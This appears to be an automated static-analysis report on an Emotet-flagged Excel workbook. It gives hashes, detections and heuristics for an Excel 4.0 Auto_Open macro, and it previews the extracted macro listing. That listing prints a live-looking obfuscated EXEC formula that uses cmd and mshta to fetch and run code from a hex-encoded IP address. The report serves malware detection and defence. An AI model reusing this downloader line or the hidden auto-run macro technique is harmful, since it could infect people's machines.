Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 174b2d506d841207…

MALICIOUS

Office (OLE) / .XLS

142.0 KB Created: 2022-01-26 02:21:30 Authoring application: Microsoft Excel First seen: 2026-06-28
MD5: 4d2bb66085331d263f9c3699bb66a38a SHA-1: 47c7617dec3f0fc3fe456cbc4e301a7ef4057420 SHA-256: 174b2d506d841207ed904a0d06938ab9161d985296fb07ac0d5f777f9ab8367e
200 Risk Score

Heuristics 4

  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3141 bytes
SHA-256: 46284ea41c691066b9fe85a87bc7e9bfc77336182ea3b4ed700574b0c8cd3189
Preview script
First 1,000 lines of the extracted script
' 0085     11 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  SS
' 0085     17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Time Car
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  SS!S1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  SS,S15,EXEC("cmd /c m^s^h^t^a h^t^tp:/^/0^x5^bf^07^6a^8/se/s.html"),""
'  SS,S23,HALT(),""
'  Time Car,C16,"",39082.00000000000000000000
'  Time Car,C21,"IF(C16=0,"",C16-6)",""
'  Time Car,H21,[],""
'  Time Car,C22,"IF(C16=0,"",C16-5)",""
'  Time Car,H22,[],""
'  Time Car,C23,"IF(C16=0,"",C16-4)",""
'  Time Car,H23,[],""
'  Time Car,C24,"IF(C16=0,"",C16-3)",""
'  Time Car,H24,[],""
'  Time Car,C25,"IF(C16=0,"",C16-2)",""
'  Time Car,H25,[],""
'  Time Car,C26,"IF(C16=0,"",C16-1)",""
'  Time Car,H26,[],""
'  Time Car,C27,"IF(C16=0,"",C16)",""
'  Time Car,H27,[],""
'  Time Car,D28,R~20C~3,""
'  Time Car,E28,R~20C~4,""
'  Time Car,F28,R~20C~5,""
'  Time Car,G28,R~20C~6,""
'  Time Car,H28,R~20C~7,""
'  Time Car,D30,D28*D29,""
'  Time Car,E30,E28*E29,""
'  Time Car,F30,F28*F29,""
'  Time Car,G30,G28*G29,""
'  Time Car,H30,R~29C~3,""

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